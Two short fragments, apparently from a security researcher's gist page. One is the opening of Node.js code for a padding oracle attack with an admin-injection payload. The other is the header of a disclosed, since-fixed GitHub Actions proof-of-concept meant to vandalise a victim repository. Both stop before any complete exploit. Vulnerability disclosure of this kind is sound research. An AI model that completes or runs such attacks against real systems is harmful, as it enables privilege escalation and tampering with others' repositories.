not-an-aardvark

"use strict";

const crypto = require("crypto");
const fetch = require("node-fetch");

const BLOCK_SIZE = 16;
const PADDING_ORACLE_PAYLOAD = '","user":"admin"}';

const padToBlockSize = text => {
  const unpadded = Buffer.from(text, "binary");

not-an-aardvark

# This is a proof-of-concept for a security bug in GitHub Actions which has since been fixed.
# See https://blog.teddykatz.com/2021/03/17/github-actions-write-access.html for more information.
# The proof-of-concept was only ever used in a test environment to validate the existence of the
# vulnerability, and is shown here for educational purposes.
#
# The proof-of-concept would have the effect of creating a `vandalism.md` file, containing vandalism,
# on the default branch of a victim repository.
#
# To use the proof-of-concept, the steps would have been:
# 1. Fork the victim repository